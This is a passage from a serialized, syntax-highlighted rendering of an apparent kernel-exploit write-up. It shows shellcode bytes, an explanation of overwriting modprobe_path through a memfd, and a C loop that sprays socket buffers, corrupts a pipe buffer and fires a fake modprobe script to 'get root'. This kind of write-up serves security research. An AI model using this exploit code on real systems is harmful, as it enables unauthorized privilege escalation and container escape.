458,61462,61467,61471,61475,61480,61484,61488,61493,61497,61501,61505],{"type":22,"tag":118,"props":61451,"children":61452},{"style":532},[61453],{"type":28,"value":61110},{"type":22,"tag":118,"props":61455,"children":61456},{"style":125},[61457],{"type":28,"value":61052},{"type":22,"tag":118,"props":61459,"children":61460},{"style":210},[61461],{"type":28,"value":3220},{"type":22,"tag":118,"props":61463,"children":61464},{"style":674},[61465],{"type":28,"value":61466}," 0x2a",{"type":22,"tag":118,"props":61468,"children":61469},{"style":125},[61470],{"type":28,"value":231},{"type":22,"tag":118,"props":61472,"children":61473},{"style":1866},[61474],{"type":28,"value":22027},{"type":22,"tag":118,"props":61476,"children":61477},{"style":50313},[61478],{"type":28,"value":61479},"\\x0f\\x20\\xe0\\x83\\xc8\\x20\\x0f\\x22\\xe0\\xb9\\x80\\x00\\x00\\xc0\\x0f\\x32\\x0f\\xba\\xe8\\x08\\x0f\\x30\\xb8\\x00",{"type":22,"tag":118,"props":61481,"children":61482},{"style":1866},[61483],{"type":28,"value":22027},{"type":22,"tag":118,"props":61485,"children":61486},{"style":125},[61487],{"type":28,"value":231},{"type":22,"tag":118,"props":61489,"children":61490},{"style":674},[61491],{"type":28,"value":61492},"24",{"type":22,"tag":118,"props":61494,"children":61495},{"style":125},[61496],{"type":28,"value":588},{"type":22,"tag":118,"props":61498,"children":61499},{"style":210},[61500],{"type":28,"value":302},{"type":22,"tag":118,"props":61502,"children":61503},{"style":674},[61504],{"type":28,"value":5074},{"type":22,"tag":118,"props":61506,"children":61507},{"style":210},[61508],{"type":28,"value":54625},{"type":22,"tag":118,"props":61510,"children":61511},{"class":120,"line":484},[61512,61516,61520,61524,61529,61533,61537,61542,61546,61550,61555,61559,61563,61567],{"type":22,"tag":118,"props":61513,"children":61514},{"style":532},[61515],{"type":28,"value":61110},{"type":22,"tag":118,"props":61517,"children":61518},{"style":125},[61519],{"type":28,"value":61052},{"type":22,"tag":118,"props":61521,"children":61522},{"style":210},[61523],{"type":28,"value":3220},{"type":22,"tag":118,"props":61525,"children":61526},{"style":674},[61527],{"type":28,"value":61528}," 0x45",{"type":22,"tag":118,"props":61530,"children":61531},{"style":125},[61532],{"type":28,"value":231},{"type":22,"tag":118,"props":61534,"children":61535},{"style":1866},[61536],{"type":28,"value":22027},{"type":22,"tag":118,"props":61538,"children":61539},{"style":50313},[61540],{"type":28,"value":61541},"\\x0f\\x22\\xd8\\xb8\\x01\\x00\\x00\\x80\\x0f\\x22\\xc0\\xea\\x57\\x00\\x00",{"type":22,"tag":118,"props":61543,"children":61544},{"style":1866},[61545],{"type":28,"value":22027},{"type":22,"tag":118,"props":61547,"children":61548},{"style":125},[61549],{"type":28,"value":231},{"type":22,"tag":118,"props":61551,"children":61552},{"style":674},[61553],{"type":28,"value":61554},"15",{"type":22,"tag":118,"props":61556,"children":61557},{"style":125},[61558],{"type":28,"value":588},{"type":22,"tag":118,"props":61560,"children":61561},{"style":210},[61562],{"type":28,"value":302},{"type":22,"tag":118,"props":61564,"children":61565},{"style":674},[61566],{"type":28,"value":5074},{"type":22,"tag":118,"props":61568,"children":61569},{"style":210},[61570],{"type":28,"value":54625},{"type":22,"tag":118,"props":61572,"children":61573},{"class":120,"line":492},[61574,61578,61582,61586,61591,61595,61599,61604,61608,61612,61616,61620,61624,61628],{"type":22,"tag":118,"props":61575,"children":61576},{"style":532},[61577],{"type":28,"value":61110},{"type":22,"tag":118,"props":61579,"children":61580},{"style":125},[61581],{"type":28,"value":61052},{"type":22,"tag":118,"props":61583,"children":61584},{"style":210},[61585],{"type":28,"value":3220},{"type":22,"tag":118,"props":61587,"children":61588},{"style":674},[61589],{"type":28,"value":61590}," 0x55",{"type":22,"tag":118,"props":61592,"children":61593},{"style":125},[61594],{"type":28,"value":231},{"type":22,"tag":118,"props":61596,"children":61597},{"style":1866},[61598],{"type":28,"value":22027},{"type":22,"tag":118,"props":61600,"children":61601},{"style":50313},[61602],{"type":28,"value":61603},"\\x08\\x00\\xb9\\x01\\x01\\x00\\xc0\\xb8",{"type":22,"tag":118,"props":61605,"children":61606},{"style":1866},[61607],{"type":28,"value":22027},{"type":22,"tag":118,"props":61609,"children":61610},{"style":125},[61611],{"type":28,"value":231},{"type":22,"tag":118,"props":61613,"children":61614},{"style":674},[61615],{"type":28,"value":6090},{"type":22,"tag":118,"props":61617,"children":61618},{"style":125},[61619],{"type":28,"value":588},{"type":22,"tag":118,"props":61621,"children":61622},{"style":210},[61623],{"type":28,"value":302},{"type":22,"tag":118,"props":61625,"children":61626},{"style":674},[61627],{"type":28,"value":5074},{"type":22,"tag":118,"props":61629,"children":61630},{"style":210},[61631],{"type":28,"value":54625},{"type":22,"tag":118,"props":61633,"children":61634},{"class":120,"line":501},[61635,61639,61643,61647,61652,61656,61660,61665,61669,61673,61677,61681,61685,61689],{"type":22,"tag":118,"props":61636,"children":61637},{"style":532},[61638],{"type":28,"value":61110},{"type":22,"tag":118,"props":61640,"children":61641},{"style":125},[61642],{"type":28,"value":61052},{"type":22,"tag":118,"props":61644,"children":61645},{"style":210},[61646],{"type":28,"value":3220},{"type":22,"tag":118,"props":61648,"children":61649},{"style":674},[61650],{"type":28,"value":61651}," 0x61",{"type":22,"tag":118,"props":61653,"children":61654},{"style":125},[61655],{"type":28,"value":231},{"type":22,"tag":118,"props":61657,"children":61658},{"style":1866},[61659],{"type":28,"value":22027},{"type":22,"tag":118,"props":61661,"children":61662},{"style":50313},[61663],{"type":28,"value":61664},"\\x31\\xd2\\x0f\\x30\\xe8",{"type":22,"tag":118,"props":61666,"children":61667},{"style":1866},[61668],{"type":28,"value":22027},{"type":22,"tag":118,"props":61670,"children":61671},{"style":125},[61672],{"type":28,"value":231},{"type":22,"tag":118,"props":61674,"children":61675},{"style":674},[61676],{"type":28,"value":20074},{"type":22,"tag":118,"props":61678,"children":61679},{"style":125},[61680],{"type":28,"value":588},{"type":22,"tag":118,"props":61682,"children":61683},{"style":210},[61684],{"type":28,"value":302},{"type":22,"tag":118,"props":61686,"children":61687},{"style":674},[61688],{"type":28,"value":5074},{"type":22,"tag":118,"props":61690,"children":61691},{"style":210},[61692],{"type":28,"value":54625},{"type":22,"tag":118,"props":61694,"children":61695},{"class":120,"line":519},[61696,61700,61704,61708,61713,61717,61721,61726,61730,61734,61738,61742,61746,61750],{"type":22,"tag":118,"props":61697,"children":61698},{"style":532},[61699],{"type":28,"value":61110},{"type":22,"tag":118,"props":61701,"children":61702},{"style":125},[61703],{"type":28,"value":61052},{"type":22,"tag":118,"props":61705,"children":61706},{"style":210},[61707],{"type":28,"value":3220},{"type":22,"tag":118,"props":61709,"children":61710},{"style":674},[61711],{"type":28,"value":61712}," 0x6a",{"type":22,"tag":118,"props":61714,"children":61715},{"style":125},[61716],{"type":28,"value":231},{"type":22,"tag":118,"props":61718,"children":61719},{"style":1866},[61720],{"type":28,"value":22027},{"type":22,"tag":118,"props":61722,"children":61723},{"style":50313},[61724],{"type":28,"value":61725},"\\x48\\xc7\\xc6",{"type":22,"tag":118,"props":61727,"children":61728},{"style":1866},[61729],{"type":28,"value":22027},{"type":22,"tag":118,"props":61731,"children":61732},{"style":125},[61733],{"type":28,"value":231},{"type":22,"tag":118,"props":61735,"children":61736},{"style":674},[61737],{"type":28,"value":19260},{"type":22,"tag":118,"props":61739,"children":61740},{"style":125},[61741],{"type":28,"value":588},{"type":22,"tag":118,"props":61743,"children":61744},{"style":210},[61745],{"type":28,"value":302},{"type":22,"tag":118,"props":61747,"children":61748},{"style":674},[61749],{"type":28,"value":5074},{"type":22,"tag":118,"props":61751,"children":61752},{"style":210},[61753],{"type":28,"value":54625},{"type":22,"tag":118,"props":61755,"children":61756},{"class":120,"line":606},[61757,61761,61765,61769,61774,61778,61782,61787,61791,61795,61799,61803,61807,61811],{"type":22,"tag":118,"props":61758,"children":61759},{"style":532},[61760],{"type":28,"value":61110},{"type":22,"tag":118,"props":61762,"children":61763},{"style":125},[61764],{"type":28,"value":61052},{"type":22,"tag":118,"props":61766,"children":61767},{"style":210},[61768],{"type":28,"value":3220},{"type":22,"tag":118,"props":61770,"children":61771},{"style":674},[61772],{"type":28,"value":61773}," 0x71",{"type":22,"tag":118,"props":61775,"children":61776},{"style":125},[61777],{"type":28,"value":231},{"type":22,"tag":118,"props":61779,"children":61780},{"style":1866},[61781],{"type":28,"value":22027},{"type":22,"tag":118,"props":61783,"children":61784},{"style":50313},[61785],{"type":28,"value":61786},"\\x48\\xc7\\xc0\\x80\\x00\\x00",{"type":22,"tag":118,"props":61788,"children":61789},{"style":1866},[61790],{"type":28,"value":22027},{"type":22,"tag":118,"props":61792,"children":61793},{"style":125},[61794],{"type":28,"value":231},{"type":22,"tag":118,"props":61796,"children":61797},{"style":674},[61798],{"type":28,"value":20386},{"type":22,"tag":118,"props":61800,"children":61801},{"style":125},[61802],{"type":28,"value":588},{"type":22,"tag":118,"props":61804,"children":61805},{"style":210},[61806],{"type":28,"value":302},{"type":22,"tag":118,"props":61808,"children":61809},{"style":674},[61810],{"type":28,"value":5074},{"type":22,"tag":118,"props":61812,"children":61813},{"style":210},[61814],{"type":28,"value":54625},{"type":22,"tag":118,"props":61816,"children":61817},{"class":120,"line":615},[61818,61822,61826,61830,61835,61839,61843,61848,61852,61856,61860,61864,61868,61872],{"type":22,"tag":118,"props":61819,"children":61820},{"style":532},[61821],{"type":28,"value":61110},{"type":22,"tag":118,"props":61823,"children":61824},{"style":125},[61825],{"type":28,"value":61052},{"type":22,"tag":118,"props":61827,"children":61828},{"style":210},[61829],{"type":28,"value":3220},{"type":22,"tag":118,"props":61831,"children":61832},{"style":674},[61833],{"type":28,"value":61834}," 0x78",{"type":22,"tag":118,"props":61836,"children":61837},{"style":125},[61838],{"type":28,"value":231},{"type":22,"tag":118,"props":61840,"children":61841},{"style":1866},[61842],{"type":28,"value":22027},{"type":22,"tag":118,"props":61844,"children":61845},{"style":50313},[61846],{"type":28,"value":61847},"\\xff\\xe0",{"type":22,"tag":118,"props":61849,"children":61850},{"style":1866},[61851],{"type":28,"value":22027},{"type":22,"tag":118,"props":61853,"children":61854},{"style":125},[61855],{"type":28,"value":231},{"type":22,"tag":118,"props":61857,"children":61858},{"style":674},[61859],{"type":28,"value":5147},{"type":22,"tag":118,"props":61861,"children":61862},{"style":125},[61863],{"type":28,"value":588},{"type":22,"tag":118,"props":61865,"children":61866},{"style":210},[61867],{"type":28,"value":302},{"type":22,"tag":118,"props":61869,"children":61870},{"style":674},[61871],{"type":28,"value":5074},{"type":22,"tag":118,"props":61873,"children":61874},{"style":125},[61875],{"type":28,"value":3665},{"type":22,"tag":118,"props":61877,"children":61878},{"class":120,"line":685},[61879,61883,61887],{"type":22,"tag":118,"props":61880,"children":61881},{"style":1480},[61882],{"type":28,"value":2223},{"type":22,"tag":118,"props":61884,"children":61885},{"style":146},[61886],{"type":28,"value":1537},{"type":22,"tag":118,"props":61888,"children":61889},{"style":125},[61890],{"type":28,"value":801},{"type":22,"tag":118,"props":61892,"children":61893},{"class":120,"line":699},[61894],{"type":22,"tag":118,"props":61895,"children":61896},{"emptyLinePlaceholder":15},[61897],{"type":28,"value":250},{"type":22,"tag":118,"props":61899,"children":61900},{"class":120,"line":729},[61901,61905,61909],{"type":22,"tag":118,"props":61902,"children":61903},{"style":1480},[61904],{"type":28,"value":18954},{"type":22,"tag":118,"props":61906,"children":61907},{"style":146},[61908],{"type":28,"value":1678},{"type":22,"tag":118,"props":61910,"children":61911},{"style":125},[61912],{"type":28,"value":801},{"type":22,"tag":118,"props":61914,"children":61915},{"class":120,"line":771},[61916],{"type":22,"tag":118,"props":61917,"children":61918},{"style":125},[61919],{"type":28,"value":481},{"type":22,"tag":118,"props":61921,"children":61922},{"class":120,"line":785},[61923],{"type":22,"tag":118,"props":61924,"children":61925},{"style":125},[61926],{"type":28,"value":12317},{"type":22,"tag":1289,"props":61928,"children":61930},{"id":61929},"overwriting-modprobe_path",[61931,61933],{"type":28,"value":61932},"Overwriting ",{"type":22,"tag":114,"props":61934,"children":61936},{"className":61935},[],[61937],{"type":28,"value":60319},{"type":22,"tag":31,"props":61939,"children":61940},{},[61941,61943,61949],{"type":28,"value":61942},"Finding the ",{"type":22,"tag":114,"props":61944,"children":61946},{"className":61945},[],[61947],{"type":28,"value":61948},"/sbin/modprobe",{"type":28,"value":61950}," string in kernel memory and replacing it with a controlled value that points to a file we own finally becomes relatively trivial.",{"type":22,"tag":31,"props":61952,"children":61953},{},[61954,61956,61962],{"type":28,"value":61955},"A very well-known trick for this to work, although we are running in a chroot without being able to create files at the root filesystem, is using a memfd exposed through ",{"type":22,"tag":114,"props":61957,"children":61959},{"className":61958},[],[61960],{"type":28,"value":61961},"/proc/\u003Cpid>/fd/\u003Cn>.",{"type":28,"value":61963}," It's worth adding that, given that our pid outside the unprivileged namespace is unknown to us, we brute-force it.",{"type":22,"tag":107,"props":61965,"children":61967},{"className":31048,"code":61966,"language":31050,"meta":7,"style":7},"[...]\n    puts(\"[*] overwrite modprobe_path\");\n    for (int i = 0; i \u003C 4194304; i++)\n    {\n        pipebuf->page = modprobe_page;\n        pipebuf->offset = modprobe_off;\n        pipebuf->len = 0;\n        for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n        {\n            if (write(sock[i][0], pipebuf, 1024 - 320) \u003C 0)\n            {\n                perror(\"[-] write(socket)\");\n                break;\n            }\n        }\n\n        memset(&data, 0, PAGE_SIZE);\n        snprintf(fd_path, sizeof(fd_path), \"/proc/%i/fd/%i\", i, modprobe_fd);\n\n        lseek(modprobe_fd, 0, SEEK_SET);\n        dprintf(modprobe_fd, MODPROBE_SCRIPT, i, status_fd, i, stdin_fd, i, stdout_fd);\n\n        if (write(pfd[pipe_idx][1], fd_path, 32) \u003C 0)\n        {\n            perror(\"\\n[-] write(pipe)\");\n        }\n\n        if (check_modprobe(fd_path))\n        {\n            puts(\"[-] failed to overwrite modprobe\");\n            break;\n        }\n\n        if (trigger_modprobe(status_fd))\n        {\n            puts(\"\\n[+] got root\");\n            goto out;\n        }\n\n        for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n        {\n            if (read(sock[i][1], leak, 1024 - 320) \u003C 0)\n            {\n                perror(\"[-] read(socket)\");\n                return -1;\n            }\n        }\n    }\n    puts(\"[-] fake modprobe failed\");\n[...]\n",[61968],{"type":22,"tag":114,"props":61969,"children":61970},{"__ignoreMap":7},[61971,61978,62000,62008,62015,62023,62031,62039,62047,62054,62062,62069,62107,62118,62125,62132,62139,62166,62197,62204,62226,62239,62246,62304,62311,62339,62346,62353,62374,62381,62402,62413,62420,62427,62448,62455,62483,62496,62503,62510,62559,62566,62634,62641,62662,62682,62689,62696,62703,62723],{"type":22,"tag":118,"props":61972,"children":61973},{"class":120,"line":121},[61974],{"type":22,"tag":118,"props":61975,"children":61976},{"style":125},[61977],{"type":28,"value":12317},{"type":22,"tag":118,"props":61979,"children":61980},{"class":120,"line":142},[61981,61986,61991,61996],{"type":22,"tag":118,"props":61982,"children":61983},{"style":125},[61984],{"type":28,"value":61985},"    puts(\"[*] ",{"type":22,"tag":118,"props":61987,"children":61988},{"style":131},[61989],{"type":28,"value":61990},"overwrite",{"type":22,"tag":118,"props":61992,"children":61993},{"style":131},[61994],{"type":28,"value":61995}," modprobe_path",{"type":22,"tag":118,"props":61997,"children":61998},{"style":1866},[61999],{"type":28,"value":58232},{"type":22,"tag":118,"props":62001,"children":62002},{"class":120,"line":177},[62003],{"type":22,"tag":118,"props":62004,"children":62005},{"style":1866},[62006],{"type":28,"value":62007},"    for (int i = 0; i \u003C 4194304; i++)\n",{"type":22,"tag":118,"props":62009,"children":62010},{"class":120,"line":195},[62011],{"type":22,"tag":118,"props":62012,"children":62013},{"style":1866},[62014],{"type":28,"value":31125},{"type":22,"tag":118,"props":62016,"children":62017},{"class":120,"line":244},[62018],{"type":22,"tag":118,"props":62019,"children":62020},{"style":1866},[62021],{"type":28,"value":62022},"        pipebuf->page = modprobe_page;\n",{"type":22,"tag":118,"props":62024,"children":62025},{"class":120,"line":253},[62026],{"type":22,"tag":118,"props":62027,"children":62028},{"style":1866},[62029],{"type":28,"value":62030},"        pipebuf->offset = modprobe_off;\n",{"type":22,"tag":118,"props":62032,"children":62033},{"class":120,"line":263},[62034],{"type":22,"tag":118,"props":62035,"children":62036},{"style":1866},[62037],{"type":28,"value":62038},"        pipebuf->len = 0;\n",{"type":22,"tag":118,"props":62040,"children":62041},{"class":120,"line":318},[62042],{"type":22,"tag":118,"props":62043,"children":62044},{"style":1866},[62045],{"type":28,"value":62046},"        for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n",{"type":22,"tag":118,"props":62048,"children":62049},{"class":120,"line":351},[62050],{"type":22,"tag":118,"props":62051,"children":62052},{"style":1866},[62053],{"type":28,"value":33598},{"type":22,"tag":118,"props":62055,"children":62056},{"class":120,"line":359},[62057],{"type":22,"tag":118,"props":62058,"children":62059},{"style":1866},[62060],{"type":28,"value":62061},"            if (write(sock[i][0], pipebuf, 1024 - 320) \u003C 0)\n",{"type":22,"tag":118,"props":62063,"children":62064},{"class":120,"line":368},[62065],{"type":22,"tag":118,"props":62066,"children":62067},{"style":1866},[62068],{"type":28,"value":33634},{"type":22,"tag":118,"props":62070,"children":62071},{"class":120,"line":384},[62072,62077,62081,62085,62089,62094,62098,62102],{"type":22,"tag":118,"props":62073,"children":62074},{"style":1866},[62075],{"type":28,"value":62076},"                perror(\"",{"type":22,"tag":118,"props":62078,"children":62079},{"style":125},[62080],{"type":28,"value":5746},{"type":22,"tag":118,"props":62082,"children":62083},{"style":210},[62084],{"type":28,"value":6340},{"type":22,"tag":118,"props":62086,"children":62087},{"style":125},[62088],{"type":28,"value":10663},{"type":22,"tag":118,"props":62090,"children":62091},{"style":131},[62092],{"type":28,"value":62093},"write",{"type":22,"tag":118,"props":62095,"children":62096},{"style":125},[62097],{"type":28,"value":540},{"type":22,"tag":118,"props":62099,"children":62100},{"style":131},[62101],{"type":28,"value":43878},{"type":22,"tag":118,"props":62103,"children":62104},{"style":125},[62105],{"type":28,"value":62106},")\");\n",{"type":22,"tag":118,"props":62108,"children":62109},{"class":120,"line":417},[62110,62114],{"type":22,"tag":118,"props":62111,"children":62112},{"style":1480},[62113],{"type":28,"value":60900},{"type":22,"tag":118,"props":62115,"children":62116},{"style":125},[62117],{"type":28,"value":801},{"type":22,"tag":118,"props":62119,"children":62120},{"class":120,"line":425},[62121],{"type":22,"tag":118,"props":62122,"children":62123},{"style":125},[62124],{"type":28,"value":1827},{"type":22,"tag":118,"props":62126,"children":62127},{"class":120,"line":441},[62128],{"type":22,"tag":118,"props":62129,"children":62130},{"style":125},[62131],{"type":28,"value":1835},{"type":22,"tag":118,"props":62133,"children":62134},{"class":120,"line":475},[62135],{"type":22,"tag":118,"props":62136,"children":62137},{"emptyLinePlaceholder":15},[62138],{"type":28,"value":250},{"type":22,"tag":118,"props":62140,"children":62141},{"class":120,"line":484},[62142,62146,62150,62154,62158,62162],{"type":22,"tag":118,"props":62143,"children":62144},{"style":532},[62145],{"type":28,"value":56558},{"type":22,"tag":118,"props":62147,"children":62148},{"style":125},[62149],{"type":28,"value":540},{"type":22,"tag":118,"props":62151,"children":62152},{"style":210},[62153],{"type":28,"value":1407},{"type":22,"tag":118,"props":62155,"children":62156},{"style":125},[62157],{"type":28,"value":60712},{"type":22,"tag":118,"props":62159,"children":62160},{"style":674},[62161],{"type":28,"value":6036},{"type":22,"tag":118,"props":62163,"children":62164},{"style":125},[62165],{"type":28,"value":60721},{"type":22,"tag":118,"props":62167,"children":62168},{"class":120,"line":492},[62169,62173,62178,62182,62187,62192],{"type":22,"tag":118,"props":62170,"children":62171},{"style":532},[62172],{"type":28,"value":57259},{"type":22,"tag":118,"props":62174,"children":62175},{"style":125},[62176],{"type":28,"value":62177},"(fd_path, ",{"type":22,"tag":118,"props":62179,"children":62180},{"style":146},[62181],{"type":28,"value":57269},{"type":22,"tag":118,"props":62183,"children":62184},{"style":125},[62185],{"type":28,"value":62186},"(fd_path), ",{"type":22,"tag":118,"props":62188,"children":62189},{"style":1866},[62190],{"type":28,"value":62191},"\"/proc/%i/fd/%i\"",{"type":22,"tag":118,"props":62193,"children":62194},{"style":125},[62195],{"type":28,"value":62196},", i, modprobe_fd);\n",{"type":22,"tag":118,"props":62198,"children":62199},{"class":120,"line":501},[62200],{"type":22,"tag":118,"props":62201,"children":62202},{"emptyLinePlaceholder":15},[62203],{"type":28,"value":250},{"type":22,"tag":118,"props":62205,"children":62206},{"class":120,"line":519},[62207,62212,62217,62221],{"type":22,"tag":118,"props":62208,"children":62209},{"style":532},[62210],{"type":28,"value":62211},"        lseek",{"type":22,"tag":118,"props":62213,"children":62214},{"style":125},[62215],{"type":28,"value":62216},"(modprobe_fd, ",{"type":22,"tag":118,"props":62218,"children":62219},{"style":674},[62220],{"type":28,"value":6036},{"type":22,"tag":118,"props":62222,"children":62223},{"style":125},[62224],{"type":28,"value":62225},", SEEK_SET);\n",{"type":22,"tag":118,"props":62227,"children":62228},{"class":120,"line":606},[62229,62234],{"type":22,"tag":118,"props":62230,"children":62231},{"style":532},[62232],{"type":28,"value":62233},"        dprintf",{"type":22,"tag":118,"props":62235,"children":62236},{"style":125},[62237],{"type":28,"value":62238},"(modprobe_fd, MODPROBE_SCRIPT, i, status_fd, i, stdin_fd, i, stdout_fd);\n",{"type":22,"tag":118,"props":62240,"children":62241},{"class":120,"line":615},[62242],{"type":22,"tag":118,"props":62243,"children":62244},{"emptyLinePlaceholder":15},[62245],{"type":28,"value":250},{"type":22,"tag":118,"props":62247,"children":62248},{"class":120,"line":685},[62249,62253,62257,62261,62265,62269,62274,62278,62283,62288,62292,62296,62300],{"type":22,"tag":118,"props":62250,"children":62251},{"style":1480},[62252],{"type":28,"value":5293},{"type":22,"tag":118,"props":62254,"children":62255},{"style":125},[62256],{"type":28,"value":842},{"type":22,"tag":118,"props":62258,"children":62259},{"style":532},[62260],{"type":28,"value":62093},{"type":22,"tag":118,"props":62262,"children":62263},{"style":125},[62264],{"type":28,"value":540},{"type":22,"tag":118,"props":62266,"children":62267},{"style":204},[62268],{"type":28,"value":60765},{"type":22,"tag":118,"props":62270,"children":62271},{"style":125},[62272],{"type":28,"value":62273},"[pipe_idx][",{"type":22,"tag":118,"props":62275,"children":62276},{"style":674},[62277],{"type":28,"value":6026},{"type":22,"tag":118,"props":62279,"children":62280},{"style":125},[62281],{"type":28,"value":62282},"], fd_path, ",{"type":22,"tag":118,"props":62284,"children":62285},{"style":674},[62286],{"type":28,"value":62287},"32",{"type":22,"tag":118,"props":62289,"children":62290},{"style":125},[62291],{"type":28,"value":588},{"type":22,"tag":118,"props":62293,"children":62294},{"style":210},[62295],{"type":28,"value":559},{"type":22,"tag":118,"props":62297,"children":62298},{"style":674},[62299],{"type":28,"value":5074},{"type":22,"tag":118,"props":62301,"children":62302},{"style":125},[62303],{"type":28,"value":3665},{"type":22,"tag":118,"props":62305,"children":62306},{"class":120,"line":699},[62307],{"type":22,"tag":118,"props":62308,"children":62309},{"style":125},[62310],{"type":28,"value":33598},{"type":22,"tag":118,"props":62312,"children":62313},{"class":120,"line":729},[62314,62318,62322,62326,62330,62335],{"type":22,"tag":118,"props":62315,"children":62316},{"style":532},[62317],{"type":28,"value":59838},{"type":22,"tag":118,"props":62319,"children":62320},{"style":125},[62321],{"type":28,"value":540},{"type":22,"tag":118,"props":62323,"children":62324},{"style":1866},[62325],{"type":28,"value":22027},{"type":22,"tag":118,"props":62327,"children":62328},{"style":50313},[62329],{"type":28,"value":50316},{"type":22,"tag":118,"props":62331,"children":62332},{"style":1866},[62333],{"type":28,"value":62334},"[-] write(pipe)\"",{"type":22,"tag":118,"props":62336,"children":62337},{"style":125},[62338],{"type":28,"value":682},{"type":22,"tag":118,"props":62340,"children":62341},{"class":120,"line":771},[62342],{"type":22,"tag":118,"props":62343,"children":62344},{"style":125},[62345],{"type":28,"value":1835},{"type":22,"tag":118,"props":62347,"children":62348},{"class":120,"line":785},[62349],{"type":22,"tag":118,"props":62350,"children":62351},{"emptyLinePlaceholder":15},[62352],{"type":28,"value":250},{"type":22,"tag":118,"props":62354,"children":62355},{"class":120,"line":804},[62356,62360,62364,62369],{"type":22,"tag":118,"props":62357,"children":62358},{"style":1480},[62359],{"type":28,"value":5293},{"type":22,"tag":118,"props":62361,"children":62362},{"style":125},[62363],{"type":28,"value":842},{"type":22,"tag":118,"props":62365,"children":62366},{"style":532},[62367],{"type":28,"value":62368},"check_modprobe",{"type":22,"tag":118,"props":62370,"children":62371},{"style":125},[62372],{"type":28,"value":62373},"(fd_path))\n",{"type":22,"tag":118,"props":62375,"children":62376},{"class":120,"line":812},[62377],{"type":22,"tag":118,"props":62378,"children":62379},{"style":125},[62380],{"type":28,"value":33598},{"type":22,"tag":118,"props":62382,"children":62383},{"class":120,"line":821},[62384,62389,62393,62398],{"type":22,"tag":118,"props":62385,"children":62386},{"style":532},[62387],{"type":28,"value":62388},"            puts",{"type":22,"tag":118,"props":62390,"children":62391},{"style":125},[62392],{"type":28,"value":540},{"type":22,"tag":118,"props":62394,"children":62395},{"style":1866},[62396],{"type":28,"value":62397},"\"[-] failed to overwrite modprobe\"",{"type":22,"tag":118,"props":62399,"children":62400},{"style":125},[62401],{"type":28,"value":682},{"type":22,"tag":118,"props":62403,"children":62404},{"class":120,"line":900},[62405,62409],{"type":22,"tag":118,"props":62406,"children":62407},{"style":1480},[62408],{"type":28,"value":5318},{"type":22,"tag":118,"props":62410,"children":62411},{"style":125},[62412],{"type":28,"value":801},{"type":22,"tag":118,"props":62414,"children":62415},{"class":120,"line":913},[62416],{"type":22,"tag":118,"props":62417,"children":62418},{"style":125},[62419],{"type":28,"value":1835},{"type":22,"tag":118,"props":62421,"children":62422},{"class":120,"line":953},[62423],{"type":22,"tag":118,"props":62424,"children":62425},{"emptyLinePlaceholder":15},[62426],{"type":28,"value":250},{"type":22,"tag":118,"props":62428,"children":62429},{"class":120,"line":982},[62430,62434,62438,62443],{"type":22,"tag":118,"props":62431,"children":62432},{"style":1480},[62433],{"type":28,"value":5293},{"type":22,"tag":118,"props":62435,"children":62436},{"style":125},[62437],{"type":28,"value":842},{"type":22,"tag":118,"props":62439,"children":62440},{"style":532},[62441],{"type":28,"value":62442},"trigger_modprobe",{"type":22,"tag":118,"props":62444,"children":62445},{"style":125},[62446],{"type":28,"value":62447},"(status_fd))\n",{"type":22,"tag":118,"props":62449,"children":62450},{"class":120,"line":995},[62451],{"type":22,"tag":118,"props":62452,"children":62453},{"style":125},[62454],{"type":28,"value":33598},{"type":22,"tag":118,"props":62456,"children":62457},{"class":120,"line":1011},[62458,62462,62466,62470,62474,62479],{"type":22,"tag":118,"props":62459,"children":62460},{"style":532},[62461],{"type":28,"value":62388},{"type":22,"tag":118,"props":62463,"children":62464},{"style":125},[62465],{"type":28,"value":540},{"type":22,"tag":118,"props":62467,"children":62468},{"style":1866},[62469],{"type":28,"value":22027},{"type":22,"tag":118,"props":62471,"children":62472},{"style":50313},[62473],{"type":28,"value":50316},{"type":22,"tag":118,"props":62475,"children":62476},{"style":1866},[62477],{"type":28,"value":62478},"[+] got root\"",{"type":22,"tag":118,"props":62480,"children":62481},{"style":125},[62482],{"type":28,"value":682},{"type":22,"tag":118,"props":62484,"children":62485},{"class":120,"line":1019},[62486,62491],{"type":22,"tag":118,"props":62487,"children":62488},{"style":1480},[62489],{"type":28,"value":62490},"            goto",{"type":22,"tag":118,"props":62492,"children":62493},{"style":125},[62494],{"type":28,"value":62495}," out;\n",{"type":22,"tag":118,"props":62497,"children":62498},{"class":120,"line":1028},[62499],{"type":22,"tag":118,"props":62500,"children":62501},{"style":125},[62502],{"type":28,"value":1835},{"type":22,"tag":118,"props":62504,"children":62505},{"class":120,"line":1101},[62506],{"type":22,"tag":118,"props":62507,"children":62508},{"emptyLinePlaceholder":15},[62509],{"type":28,"value":250},{"type":22,"tag":118,"props":62511,"children":62512},{"class":120,"line":1146},[62513,62518,62522,62526,62530,62534,62538,62542,62546,62551,62555],{"type":22,"tag":118,"props":62514,"children":62515},{"style":1480},[62516],{"type":28,"value":62517},"        for",{"type":22,"tag":118,"props":62519,"children":62520},{"style":125},[62521],{"type":28,"value":842},{"type":22,"tag":118,"props":62523,"children":62524},{"style":146},[62525],{"type":28,"value":21014},{"type":22,"tag":118,"props":62527,"children":62528},{"style":125},[62529],{"type":28,"value":56485},{"type":22,"tag":118,"props":62531,"children":62532},{"style":210},[62533],{"type":28,"value":282},{"type":22,"tag":118,"props":62535,"children":62536},{"style":674},[62537],{"type":28,"value":5074},{"type":22,"tag":118,"props":62539,"children":62540},{"style":125},[62541],{"type":28,"value":53174},{"type":22,"tag":118,"props":62543,"children":62544},{"style":210},[62545],{"type":28,"value":559},{"type":22,"tag":118,"props":62547,"children":62548},{"style":125},[62549],{"type":28,"value":62550}," SKBUF_SPRAY; 